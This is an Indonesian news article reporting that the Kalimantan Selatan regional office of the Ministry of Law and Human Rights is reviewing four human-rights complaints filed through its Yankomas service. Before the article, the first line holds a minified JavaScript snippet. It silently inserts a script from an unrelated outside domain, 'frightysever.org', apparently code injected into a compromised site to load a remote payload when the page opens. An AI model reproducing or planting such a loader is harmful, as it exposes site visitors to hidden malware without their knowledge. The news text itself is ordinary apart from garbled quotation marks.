(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kanwil Kementerian Hukum dan HAM Provinsi Kalimantan Selatan menelisik empat laporan dugaan pelanggaran HAM yang masuk ke instansi vertikal tersebut. Empat kasus dugaan pelanggaran HAM ini dilaporkan lewat Pelayanan Komunikasi Masyarakat (Yankomas).
Untuk menjamin kepastian layanan, Kemenkumham Kalsel menggelar koordinasi dan konsultasi teknis Yankomas pada Kamis (8/8). Rapat dihadiri Direktur Yankomas Johno Supriyanto bersama Kepala Divisi Pelayanan Hukum dan HAM Subianta Mandala dan Kepala Bidang HAM Kanwil Kemenkumham Kalsel, Rosita Amperawati.
â€ÂDari beberapa penaganan dugaan pelanggaran HAM yang dikomunikasikan ke kantor wilayah maupun langsung ke Ditjen HAM telah ditindaklanjuti dengan mengirim surat terkait rekomendasi berdasar keputusan rapat Tim Yankomas Kanwil,†kata Rosita Amperawarti lewat siaran pers.
Empat kasus yang dibahas terdiri dari dugaan pelanggaran HAM lewat penyampaian komunikasi (PK) terhadap seorang ASN di Pemkab Hulu Sungai Selatan (HSS) inisial YKN. YKN keberatan atas keputusan Bupati HSS yang memberhentikan YKN secara tidak hormat. Menurut Rosita, pelaporan dari YKN terkait jabatan dalam struktur ASN.
“Selanjutnya PK inisial M yang merasa tidak bersalah terkait pidana yang dijalaninya sehingga yang bersangkutan mengajukan ganti rugi terhadap perampasan kemerdekaaanya selama dua tahun menjalani pidana di Lapas Kelas IIA Banjarmasin,” ujar Rosita Amperawati.
Kasus yang ketiga melibatkan HG yang dirugikan oleh PT Arutmin Indonesia. Adapun PK yang keempat melibatkan GI karena menolak larangan berdagang di Pasar Subuh Bauntung, Kota Banjarbaru.
Kepala Divisi Pelayanan Hukum dan HAM, Subianta Mandala, menambahkan kasus dugaan pelanggaran HAM masih tahap pangaduan atau PK. Pihaknya akan menindaklanjuti lewat klarifikasi ke pihak-pihak terlapor.
Tim Yankomas Pusat dari Sub Direktorat Yankomas Wilayah III terdiri dari Kasubdit Yankomas Kortini J.M.Sihotang, Kasi Hak Sipil dan Politik Achmad Santoso, serta JFU Riefky Bagas Prabowo melakukan klarifikasi kepada terlapor dan pihak-pihak terkait. “Selanjutnya Tim Yankomas pusat merekomendasikan agar dilakukan peninjau lapangan,” ucap Subianta. (Rico)
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More
This website uses cookies.